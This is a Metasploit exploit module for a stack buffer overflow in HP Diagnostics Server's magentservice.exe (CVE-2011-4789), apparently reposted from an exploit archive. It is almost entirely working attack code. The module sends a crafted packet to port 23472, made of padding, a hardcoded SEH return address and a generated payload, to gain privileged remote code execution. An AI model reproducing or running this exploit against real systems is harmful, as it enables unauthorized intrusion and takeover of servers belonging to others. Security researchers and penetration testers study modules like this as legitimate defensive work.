HP Diagnostics Server magentservice.exe Overflow

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP Diagnostics Server magentservice.exe overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in HP Diagnostics Server
                magentservice.exe service. By sending a specially crafted packet, an attacker
                may be able to execute arbitrary code. Originally found and posted by
                AbdulAziz Harir via ZDI.
            },
            'Author'         =>
                [
                    'AbdulAziz Hariri', # Original discovery
                    'hal',              # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['OSVDB', '72815'],
                    ['CVE', '2011-4789'],
                    ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-016/']
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                    'SSL' => true,
                    'SSLVersion' => 'SSL3'
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'DefaultTarget'  => 0,
            'Targets'        =>
                [
                    [
                        'Diagnostics Server 9.10',
                        {
                            # pop esi # pop ebx # ret 10
                            # magentservice.exe
                            'Ret' => 0x780c8f1f
                        }
                    ]
                ],
            'DisclosureDate' => 'Jan 12 2012'))
            register_options([Opt::RPORT(23472)], self.class)
    end
    def exploit
        req =  "\x00\x00\x00\x00"
        req << rand_text_alpha_upper(1092)
        req << generate_seh_payload(target.ret)
        connect
        sock.put(req)
        handler
        disconnect
    end
end



#  0day.today [2018-03-05]  #